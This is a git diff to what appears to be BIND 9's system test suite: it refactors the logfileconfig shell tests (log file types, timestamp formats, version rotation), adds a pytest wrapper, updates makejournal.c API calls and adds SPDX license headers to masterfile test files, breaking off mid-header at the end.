--- a/bin/tests/system/logfileconfig/ns1/root.db
+++ /dev/null
@@ -1,25 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-$TTL 300
-. 			IN SOA	gson.nominum.com. a.root.servers.nil. (
-				2000042100   	; serial
-				600         	; refresh
-				600         	; retry
-				1200    	; expire
-				600       	; minimum
-				)
-.			NS	a.root-servers.nil.
-a.root-servers.nil.	A	10.53.0.1
-
-example.		NS	ns2.example.
-ns2.example.		A	10.53.0.2
-
-tsigzone.		NS	ns2.tsigzone.
-ns2.tsigzone.		A	10.53.0.2
diff --git a/bin/tests/system/logfileconfig/setup.sh b/bin/tests/system/logfileconfig/setup.sh
index 935e36c5f8..7ad9bb0bbd 100644
--- a/bin/tests/system/logfileconfig/setup.sh
+++ b/bin/tests/system/logfileconfig/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -13,6 +15,4 @@
 
 $SHELL clean.sh
 
-copy_setports ns1/named.plain ns1/named.conf
-copy_setports ns1/rndc.conf.in ns1/rndc.conf
-copy_setports ns1/controls.conf.in ns1/controls.conf
+copy_setports ns1/named.plain.in ns1/named.conf
diff --git a/bin/tests/system/logfileconfig/tests.sh b/bin/tests/system/logfileconfig/tests.sh
index e1d26a7d29..d12fd06cf2 100644
--- a/bin/tests/system/logfileconfig/tests.sh
+++ b/bin/tests/system/logfileconfig/tests.sh
@@ -1,41 +1,19 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
-. ../conf.sh
-THISDIR=`pwd`
-CONFDIR="ns1"
-
-PLAINCONF="${THISDIR}/${CONFDIR}/named.plainconf"
-PLAINFILE="named_log"
-DIRCONF="${THISDIR}/${CONFDIR}/named.dirconf"
-DIRFILE="named_dir"
-PIPECONF="${THISDIR}/${CONFDIR}/named.pipeconf"
-PIPEFILE="named_pipe"
-SYMCONF="${THISDIR}/${CONFDIR}/named.symconf"
-SYMFILE="named_sym"
-VERSCONF="${THISDIR}/${CONFDIR}/named.versconf"
-VERSFILE="named_vers"
-TSCONF="${THISDIR}/${CONFDIR}/named.tsconf"
-TSFILE="named_ts"
-UNLIMITEDCONF="${THISDIR}/${CONFDIR}/named.unlimited"
-UNLIMITEDFILE="named_unlimited"
-ISOCONF="${THISDIR}/${CONFDIR}/named.iso8601"
-ISOFILE="named_iso8601"
-ISOCONFUTC="${THISDIR}/${CONFDIR}/named.iso8601-utc"
-ISOUTCFILE="named_iso8601_utc"
-DLFILE="named_deflog"
+set -e
 
-PIDFILE="${THISDIR}/${CONFDIR}/named.pid"
-myRNDC="$RNDC -c ${THISDIR}/${CONFDIR}/rndc.conf"
-myNAMED="$NAMED -c ${THISDIR}/${CONFDIR}/named.conf -m record,size,mctx -T nosyslog -d 99 -D logfileconfig-ns1 -X named.lock -U 4"
+. ../conf.sh
 
 # Test given condition.  If true, test again after a second.  Used for testing
 # filesystem-dependent conditions in order to prevent false negatives caused by
@@ -50,366 +28,270 @@ test_with_retry() {
 	return 1
 }
 
-waitforpidfile() {
-	for _w in 1 2 3 4 5 6 7 8 9 10
-	do
-		test -f $PIDFILE && break
-		sleep 1
-	done
-}
-
 status=0
 n=0
 
-cd $CONFDIR
-
-echo_i "testing log file validity (named -g + only plain files allowed)"
-
-n=`expr $n + 1`
-echo_i "testing plain file (named -g) ($n)"
 # First run with a known good config.
-echo > $PLAINFILE
-copy_setports $PLAINCONF named.conf
-$myRNDC reconfig > rndc.out.test$n 2>&1
-grep "reloading configuration failed" named.run > /dev/null 2>&1
-if [ $? -ne 0 ]
-then
-	echo_i "testing plain file succeeded"
-else
-	echo_i "testing plain file failed (unexpected)"
-	echo_i "exit status: 1"
-	exit 1
-fi
+n=$((n+1))
+echo_i "testing log file validity (only plain files allowed) ($n)"
+ret=0
+cat /dev/null > ns1/named_log
+copy_setports ns1/named.plainconf.in ns1/named.conf
+nextpart ns1/named.run > /dev/null
+rndc_reconfig ns1 10.53.0.1 > rndc.out.test$n
+wait_for_log 5 "reloading configuration succeeded" ns1/named.run || ret=1
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
 
 # Now try directory, expect failure
-n=`expr $n + 1`
-echo_i "testing directory as log file (named -g) ($n)"
-echo > named.run
-rm -rf $DIRFILE
-mkdir -p $DIRFILE >/dev/null 2>&1
-if [ $? -eq 0 ]
-then
-	copy_setports $DIRCONF named.conf
-	echo > named.run
-	$myRNDC reconfig > rndc.out.test$n 2>&1
-	grep "checking logging configuration failed: invalid file" named.run > /dev/null 2>&1
-	if [ $? -ne 0 ]
-	then
-		echo_i "testing directory as file succeeded (UNEXPECTED)"
-		echo_i "exit status: 1"
-		exit 1
-	else
-		echo_i "testing directory as log file failed (expected)"
-	fi
-else
-	echo_i "skipping directory test (unable to create directory)"
-fi
+n=$((n+1))
+echo_i "testing directory as log file ($n)"
+ret=0
+nextpart ns1/named.run > /dev/null
+copy_setports ns1/named.dirconf.in ns1/named.conf
+rndc_reconfig ns1 10.53.0.1 > rndc.out.test$n
+wait_for_log 5 "reloading configuration failed: invalid file" ns1/named.run || ret=1
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
 
 # Now try pipe file, expect failure
-n=`expr $n + 1`
-echo_i "testing pipe file as log file (named -g) ($n)"
-echo > named.run
-rm -f $PIPEFILE
-mkfifo $PIPEFILE >/dev/null 2>&1
-if [ $? -eq 0 ]
-then
-	copy_setports $PIPECONF named.conf
-	echo > named.run
-	$myRNDC reconfig > rndc.out.test$n 2>&1
-	grep "checking logging configuration failed: invalid file" named.run  > /dev/null 2>&1
-	if [ $? -ne 0 ]
-	then
-		echo_i "testing pipe file as log file succeeded (UNEXPECTED)"
-		echo_i "exit status: 1"
-		exit 1
-	else
-		echo_i "testing pipe file as log file failed (expected)"
-	fi
+n=$((n+1))
+echo_i "testing pipe file as log file ($n)"
+ret=0
+nextpart ns1/named.run > /dev/null
+rm -f ns1/named_pipe
+if mkfifo ns1/named_pipe >/dev/null 2>&1; then
+    copy_setports ns1/named.pipeconf.in ns1/named.conf
+    rndc_reconfig ns1 10.53.0.1 > rndc.out.test$n
+    wait_for_log 5 "reloading configuration failed: invalid file" ns1/named.run || ret=1
+    if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
 else
-	echo_i "skipping pipe test (unable to create pipe)"
+    echo_i "skipping pipe test (unable to create pipe)"
 fi
 
 # Now try symlink file to plain file, expect success
-n=`expr $n + 1`
-echo_i "testing symlink to plain file as log file (named -g) ($n)"
-# Assume success
-echo > named.run
-echo > $PLAINFILE
-rm -f  $SYMFILE  $SYMFILE
-ln -s $PLAINFILE $SYMFILE >/dev/null 2>&1
-if [ $? -eq 0 ]
-then
-	copy_setports $SYMCONF named.conf
-	$myRNDC reconfig > rndc.out.test$n 2>&1
-	echo > named.run
-	grep "reloading configuration failed" named.run > /dev/null 2>&1
-	if [ $? -ne 0 ]
-	then
-		echo_i "testing symlink to plain file succeeded"
-	else
-		echo_i "testing symlink to plain file failed (unexpected)"
-		echo_i "exit status: 1"
-		exit 1
-	fi
+n=$((n+1))
+echo_i "testing symlink to plain file as log file ($n)"
+ret=0
+rm -f ns1/named_log ns1/named_sym
+touch ns1/named_log
+if ln -s $(pwd)/ns1/named_log $(pwd)/ns1/named_sym >/dev/null 2>&1; then
+    nextpart ns1/named.run > /dev/null
+    copy_setports ns1/named.symconf.in ns1/named.conf
+    rndc_reconfig ns1 10.53.0.1 > rndc.out.test$n
+    wait_for_log 5 "reloading configuration succeeded" ns1/named.run || ret=1
+    if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
 else
 	echo_i "skipping symlink test (unable to create symlink)"
 fi
-# Stop the server and run through a series of tests with various config
-# files while controlling the stop/start of the server.
-# Have to stop the stock server because it uses "-g"
-#
-$PERL ../../stop.pl logfileconfig ns1
-
-$myNAMED > /dev/null 2>&1
-
-if [ $? -ne 0 ]
-then
-	echo_i "failed to start $myNAMED"
-	echo_i "exit status: $status"
-	exit $status
-fi
 
-status=0
+echo_i "repeat previous tests without named -g"
+copy_setports ns1/named.plain.in ns1/named.conf
+stop_server --use-rndc --port ${CONTROLPORT} ns1
+cp named1.args ns1/named.args
+start_server --noclean --restart --port ${PORT} ns1
 
-echo_i "testing log file validity (only plain files allowed)"
-
-n=`expr $n + 1`
-echo_i "testing plain file (named -g) ($n)"
-# First run with a known good config.
-echo > $PLAINFILE
-copy_setports $PLAINCONF named.conf
-$myRNDC reconfig > rndc.out.test$n 2>&1
-grep "reloading configuration failed" named.run > /dev/null 2>&1
-if [ $? -ne 0 ]
-then
-	echo_i "testing plain file succeeded"
-else
-	echo_i "testing plain file failed (unexpected)"
-	echo_i "exit status: 1"
-	exit 1
-fi
+n=$((n+1))
+echo_i "testing log file validity (only plain files allowed) ($n)"
+ret=0
+cat /dev/null > ns1/named_log
+copy_setports ns1/named.plainconf.in ns1/named.conf
+nextpart ns1/named.run > /dev/null
+rndc_reconfig ns1 10.53.0.1 > rndc.out.test$n
+wait_for_log 5 "reloading configuration succeeded" ns1/named.run || ret=1
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
 
 # Now try directory, expect failure
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "testing directory as log file ($n)"
-echo > named.run
-rm -rf $DIRFILE
-mkdir -p $DIRFILE >/dev/null 2>&1
-if [ $? -eq 0 ]
-then
-	copy_setports $DIRCONF named.conf
-	echo > named.run
-	$myRNDC reconfig > rndc.out.test$n 2>&1
-	grep "configuring logging: invalid file" named.run > /dev/null 2>&1
-	if [ $? -ne 0 ]
-	then
-		echo_i "testing directory as file succeeded (UNEXPECTED)"
-		echo_i "exit status: 1"
-		exit 1
-	else
-		echo_i "testing directory as log file failed (expected)"
-	fi
-else
-	echo_i "skipping directory test (unable to create directory)"
-fi
+ret=0
+nextpart ns1/named.run > /dev/null
+copy_setports ns1/named.dirconf.in ns1/named.conf
+rndc_reconfig ns1 10.53.0.1 > rndc.out.test$n
+wait_for_log 5 "reloading configuration failed: invalid file" ns1/named.run || ret=1
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
 
 # Now try pipe file, expect failure
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "testing pipe file as log file ($n)"
-echo > named.run
-rm -f $PIPEFILE
-mkfifo $PIPEFILE >/dev/null 2>&1
-if [ $? -eq 0 ]
-then
-	copy_setports $PIPECONF named.conf
-	echo > named.run
-	$myRNDC reconfig > rndc.out.test$n 2>&1
-	grep "configuring logging: invalid file" named.run  > /dev/null 2>&1
-	if [ $? -ne 0 ]
-	then
-		echo_i "testing pipe file as log file succeeded (UNEXPECTED)"
-		echo_i "exit status: 1"
-		exit 1
-	else
-		echo_i "testing pipe file as log file failed (expected)"
-	fi
+ret=0
+nextpart ns1/named.run > /dev/null
+rm -f ns1/named_pipe
+if mkfifo ns1/named_pipe >/dev/null 2>&1; then
+    copy_setports ns1/named.pipeconf.in ns1/named.conf
+    rndc_reconfig ns1 10.53.0.1 > rndc.out.test$n
+    wait_for_log 5 "reloading configuration failed: invalid file" ns1/named.run || ret=1
+    if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
 else
-	echo_i "skipping pipe test (unable to create pipe)"
+    echo_i "skipping pipe test (unable to create pipe)"
 fi
 
 # Now try symlink file to plain file, expect success
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "testing symlink to plain file as log file ($n)"
-# Assume success
-status=0
-echo > named.run
-echo > $PLAINFILE
-rm -f $SYMFILE
-ln -s $PLAINFILE $SYMFILE >/dev/null 2>&1
-if [ $? -eq 0 ]
-then
-	copy_setports $SYMCONF named.conf
-	$myRNDC reconfig > rndc.out.test$n 2>&1
-	echo > named.run
-	grep "reloading configuration failed" named.run > /dev/null 2>&1
-	if [ $? -ne 0 ]
-	then
-		echo_i "testing symlink to plain file succeeded"
-	else
-		echo_i "testing symlink to plain file failed (unexpected)"
-		echo_i "exit status: 1"
-		exit 1
-	fi
+ret=0
+rm -f ns1/named_log ns1/named_sym
+touch ns1/named_log
+if ln -s $(pwd)/ns1/named_log $(pwd)/ns1/named_sym >/dev/null 2>&1; then
+    nextpart ns1/named.run > /dev/null
+    copy_setports ns1/named.symconf.in ns1/named.conf
+    rndc_reconfig ns1 10.53.0.1 > rndc.out.test$n
+    wait_for_log 5 "reloading configuration succeeded" ns1/named.run || ret=1
+    if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
 else
 	echo_i "skipping symlink test (unable to create symlink)"
 fi
 
-n=`expr $n + 1`
-echo_i "testing default logfile using named -L file ($n)"
-# Now stop the server again and test the -L option
-rm -f $DLFILE
-$PERL ../../stop.pl logfileconfig ns1
-if ! test -f $PIDFILE; then
-	copy_setports $PLAINCONF named.conf
-	$myNAMED -L $DLFILE > /dev/null 2>&1
-	if [ $? -ne 0 ]; then
-		echo_i "failed to start $myNAMED"
-		echo_i "exit status: $status"
-		exit $status
-	fi
-
-	waitforpidfile
-
-	sleep 1
-	if [ -f "$DLFILE" ]; then
-		echo_i "testing default logfile using named -L succeeded"
-	else
-		echo_i "testing default logfile using named -L failed"
-		echo_i "exit status: 1"
-		exit 1
-	fi
-else
-	echo_i "failed to cleanly stop $myNAMED"
-	echo_i "exit status: 1"
-	exit 1
-fi
-
 echo_i "testing logging functionality"
-
-n=`expr $n + 1`
+n=$((n+1))
+ret=0
 echo_i "testing iso8601 timestamp ($n)"
-copy_setports $ISOCONF named.conf
-$myRNDC reconfig > rndc.out.test$n 2>&1
-if grep '^....-..-..T..:..:..\.... ' $ISOFILE > /dev/null; then
-	echo_i "testing iso8601 timestamp succeeded"
-else
-	echo_i "testing iso8601 timestamp failed"
-	status=`expr $status + 1`
-fi
+copy_setports ns1/named.iso8601.in ns1/named.conf
+rndc_reconfig ns1 10.53.0.1 > rndc.out.test$n
+grep '^....-..-..T..:..:..\.... ' ns1/named_iso8601 > /dev/null || ret=1
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "testing iso8601-utc timestamp ($n)"
-copy_setports $ISOCONFUTC named.conf
-$myRNDC reconfig > rndc.out.test$n 2>&1
-if grep '^....-..-..T..:..:..\....Z' $ISOUTCFILE > /dev/null; then
-	echo_i "testing iso8601-utc timestamp succeeded"
-else
-	echo_i "testing iso8601-utc timestamp failed"
-	status=`expr $status + 1`
-fi
+ret=0
+copy_setports ns1/named.iso8601-utc.in ns1/named.conf
+rndc_reconfig ns1 10.53.0.1 > rndc.out.test$n
+grep '^....-..-..T..:..:..\....Z' ns1/named_iso8601_utc > /dev/null || ret=1
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "testing explicit versions ($n)"
-copy_setports $VERSCONF named.conf
+ret=0
+copy_setports ns1/named.versconf.in ns1/named.conf
 # a seconds since epoch version number
-touch $VERSFILE.1480039317
-t1=`$PERL -e 'print time()."\n";'`
-$myRNDC reconfig > rndc.out.test$n 2>&1
+touch ns1/named_vers.1480039317
+rndc_reconfig ns1 10.53.0.1 > rndc.out.test$n
 $DIG version.bind txt ch @10.53.0.1 -p ${PORT} > dig.out.test$n
-t2=`$PERL -e 'print time()."\n";'`
-t=`expr ${t2:-0} - ${t1:-0}`
-if test ${t:-1000} -gt 5
-then
-        echo_i "testing explicit versions failed: cleanup of old entries took too long ($t secs)"
-	status=`expr $status + 1`
-fi
-if ! grep "status: NOERROR" dig.out.test$n > /dev/null
-then
-	echo_i "testing explicit versions failed: DiG lookup failed"
-	status=`expr $status + 1`
-fi
-if test_with_retry -f $VERSFILE.1480039317
-then
-	echo_i "testing explicit versions failed: $VERSFILE.1480039317 not removed"
-	status=`expr $status + 1`
-fi
-if test_with_retry -f $VERSFILE.5
-then
-	echo_i "testing explicit versions failed: $VERSFILE.5 exists"
-	status=`expr $status + 1`
-fi
-if test_with_retry ! -f $VERSFILE.4
-then
-	echo_i "testing explicit versions failed: $VERSFILE.4 does not exist"
-	status=`expr $status + 1`
-fi
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+# we are configured to retain five logfiles (a current file
+# and 4 backups). so files with version number 5 or higher
+# should be removed.
+test_with_retry -f ns1/named_vers.1480039317 && ret=1
+test_with_retry -f ns1/named_vers.5 && ret=1
+test_with_retry -f ns1/named_vers.4 || ret=1
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "testing timestamped versions ($n)"
-copy_setports $TSCONF named.conf
+ret=0
+copy_setports ns1/named.tsconf.in ns1/named.conf
 # a seconds since epoch version number
-touch $TSFILE.2015010112000012
-t1=`$PERL -e 'print time()."\n";'`
-$myRNDC reconfig > rndc.out.test$n 2>&1
-$DIG version.bind txt ch @10.53.0.1 -p ${PORT} > dig.out.test$n
-t2=`$PERL -e 'print time()."\n";'`
-t=`expr ${t2:-0} - ${t1:-0}`
-if test ${t:-1000} -gt 5
-then
-        echo_i "testing timestamped versions failed: cleanup of old entries took too long ($t secs)"
-	status=`expr $status + 1`
-fi
-if ! grep "status: NOERROR" dig.out.test$n > /dev/null
-then
-	echo_i "testing timestamped versions failed: DiG lookup failed"
-	status=`expr $status + 1`
-fi
-if test_with_retry -f $TSFILE.1480039317
-then
-	echo_i "testing timestamped versions failed: $TSFILE.1480039317 not removed"
-	status=`expr $status + 1`
-fi
+touch ns1/named_ts.1480039317
+# a timestamp version number
+touch ns1/named_ts.20150101120000120
+rndc_reconfig ns1 10.53.0.1 > rndc.out.test$n
+_found2() (
+        $DIG version.bind txt ch @10.53.0.1 -p ${PORT} > dig.out.test$n
+        grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+
+        # we are configured to keep three versions, so the oldest
+        # timestamped versions should be gone, and there should
+        # be two or three backup ones.
+        [ -f ns1/named_ts.1480039317 ] && return 1
+        [ -f ns1/named_ts.20150101120000120 ] && return 1
+        set -- ns1/named_ts.*
+        [ "$#" -eq 2 -o "$#" -eq 3 ] || return 1
+)
+retry_quiet 5 _found2 || ret=1
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "testing incremented versions ($n)"
+ret=0
+copy_setports ns1/named.incconf.in ns1/named.conf
+try=0
+while test $try -lt 12
+do
+	touch ns1/named_inc.$try
+	try=$((try + 1))
+done
+rndc_reconfig ns1 10.53.0.1 > rndc.out.test$n
+_found2() (
+        $DIG version.bind txt ch @10.53.0.1 -p ${PORT} > dig.out.test$n
+        grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+
+	try=1
+	while test $try -lt 12
+	do
+	        [ -f ns1/named_inc.$try ] && return 1
+		try=$((try + 1))
+	done
+        set -- ns1/named_inc.*
+        [ "$#" -eq 1 ] || return 1
+)
+retry_quiet 5 _found2 || ret=1
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "testing absolute file path versions ($n)"
+ret=0
+copy_setports ns1/named.abspathconf.in ns1/named.conf
+try=0
+while test $try -lt 12
+do
+	touch $TMPDIR/example.log.$try
+	try=$((try + 1))
+done
+rndc_reconfig ns1 10.53.0.1 > rndc.out.test$n
+_found2() (
+        $DIG version.bind txt ch @10.53.0.1 -p ${PORT} > dig.out.test$n
+        grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
 
-n=`expr $n + 1`
+	try=1
+	while test $try -lt 12
+	do
+		[ -f $TMPDIR/example.log.$try ] && return 1
+		try=$((try + 1))
+	done
+	set -- $TMPDIR/example.log.*
+	[ "$#" -eq 1 ] || return 1
+)
+retry_quiet 5 _found2 || ret=1
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
 echo_i "testing unlimited versions ($n)"
-copy_setports $UNLIMITEDCONF named.conf
+ret=0
+copy_setports ns1/named.unlimited.in ns1/named.conf
 # a seconds since epoch version number
-touch $UNLIMITEDFILE.1480039317
-t1=`$PERL -e 'print time()."\n";'`
-$myRNDC reconfig > rndc.out.test$n 2>&1
+touch ns1/named_unlimited.1480039317
+rndc_reconfig ns1 10.53.0.1 > rndc.out.test$n
 $DIG version.bind txt ch @10.53.0.1 -p ${PORT} > dig.out.test$n
-t2=`$PERL -e 'print time()."\n";'`
-t=`expr ${t2:-0} - ${t1:-0}`
-if test ${t:-1000} -gt 5
-then
-        echo_i "testing unlimited versions failed: took too long ($t secs)"
-	status=`expr $status + 1`
-fi
-if ! grep "status: NOERROR" dig.out.test$n > /dev/null
-then
-	echo_i "testing unlimited versions failed: DiG lookup failed"
-	status=`expr $status + 1`
-fi
-if test_with_retry ! -f $UNLIMITEDFILE.1480039317
-then
-	echo_i "testing unlimited versions failed: $UNLIMITEDFILE.1480039317 removed"
-	status=`expr $status + 1`
-fi
-if test_with_retry ! -f $UNLIMITEDFILE.4
-then
-	echo_i "testing unlimited versions failed: $UNLIMITEDFILE.4 does not exist"
-	status=`expr $status + 1`
-fi
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+test_with_retry -f ns1/named_unlimited.1480039317 || ret=1
+test_with_retry -f ns1/named_unlimited.4 || ret=1
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "testing default logfile using named -L file ($n)"
+ret=0
+stop_server ns1
+cp named2.args ns1/named.args
+test -f ns1/named.pid && ret=1
+rm -f ns1/named_deflog
+copy_setports ns1/named.plainconf.in ns1/named.conf
+start_server --noclean --restart --port ${PORT} ns1
+[ -f "ns1/named_deflog" ] || ret=1
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/logfileconfig/tests_sh_logfileconfig.py b/bin/tests/system/logfileconfig/tests_sh_logfileconfig.py
new file mode 100644
index 0000000000..655a8eeb5a
--- /dev/null
+++ b/bin/tests/system/logfileconfig/tests_sh_logfileconfig.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_logfileconfig(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/makejournal.c b/bin/tests/system/makejournal.c
index 3dbd582e75..9bed375a87 100644
--- a/bin/tests/system/makejournal.c
+++ b/bin/tests/system/makejournal.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -17,7 +19,7 @@
 #include <isc/hash.h>
 #include <isc/log.h>
 #include <isc/mem.h>
-#include <isc/print.h>
+#include <isc/result.h>
 #include <isc/util.h>
 
 #include <dns/db.h>
@@ -25,7 +27,6 @@
 #include <dns/journal.h>
 #include <dns/log.h>
 #include <dns/name.h>
-#include <dns/result.h>
 #include <dns/types.h>
 
 #define CHECK(r)                             \
@@ -61,7 +62,7 @@ loadzone(dns_db_t **db, const char *origin, const char *filename) {
 
 	name = dns_fixedname_initname(&fixed);
 
-	result = dns_name_fromstring(name, origin, 0, NULL);
+	result = dns_name_fromstring(name, origin, dns_rootname, 0, NULL);
 	if (result != ISC_R_SUCCESS) {
 		return (result);
 	}
@@ -73,6 +74,9 @@ loadzone(dns_db_t **db, const char *origin, const char *filename) {
 	}
 
 	result = dns_db_load(*db, filename, dns_masterformat_text, 0);
+	if (result == DNS_R_SEENINCLUDE) {
+		result = ISC_R_SUCCESS;
+	}
 	return (result);
 }
 
@@ -115,8 +119,6 @@ main(int argc, char **argv) {
 
 	CHECK(isc_log_usechannel(logconfig, "stderr", NULL, NULL));
 
-	dns_result_register();
-
 	result = loadzone(&olddb, origin, file1);
 	if (result != ISC_R_SUCCESS) {
 		fprintf(stderr, "Couldn't load %s: ", file1);
diff --git a/bin/tests/system/masterfile/clean.sh b/bin/tests/system/masterfile/clean.sh
index 391fc08acf..97aa377749 100644
--- a/bin/tests/system/masterfile/clean.sh
+++ b/bin/tests/system/masterfile/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/masterfile/ns1/include.db b/bin/tests/system/masterfile/ns1/include.db
index 7836f9613f..149c8194b1 100644
--- a/bin/tests/system/masterfile/ns1/include.db
+++ b/bin/tests/system/masterfile/ns1/include.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/masterfile/ns1/named.conf.in b/bin/tests/system/masterfile/ns1/named.conf.in
index 38b18b7b4a..4203aae917 100644
--- a/bin/tests/system/masterfile/ns1/named.conf.in
+++ b/bin/tests/system/masterfile/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -19,6 +21,7 @@ options {
 	listen-on-v6 { none; };
 	recursion no;
 	notify yes;
+	dnssec-validation no;
 };
 
 zone "include" {
diff --git a/bin/tests/system/masterfile/ns1/sub.db b/bin/tests/system/masterfile/ns1/sub.db
index 5c84cec467..7e027b0d7c 100644
--- a/bin/tests/system/masterfile/ns1/sub.db
+++ b/bin/tests/system/masterfile/ns1/sub.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/masterfile/ns1/ttl1.db b/bin/tests/system/masterfile/ns1/ttl1.db
index 6aa8f36e86..56afe9d971 100644
--- a/bin/tests/system/masterfile/ns1/ttl1.db
+++ b/bin/tests/system/masterfile/ns1/ttl1.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/masterfile/ns1/ttl2.db b/bin/tests/system/masterfile/ns1/ttl2.db
index 452d2092ec..778e8d36ef 100644
--- a/bin/tests/system/masterfile/ns1/ttl2.db
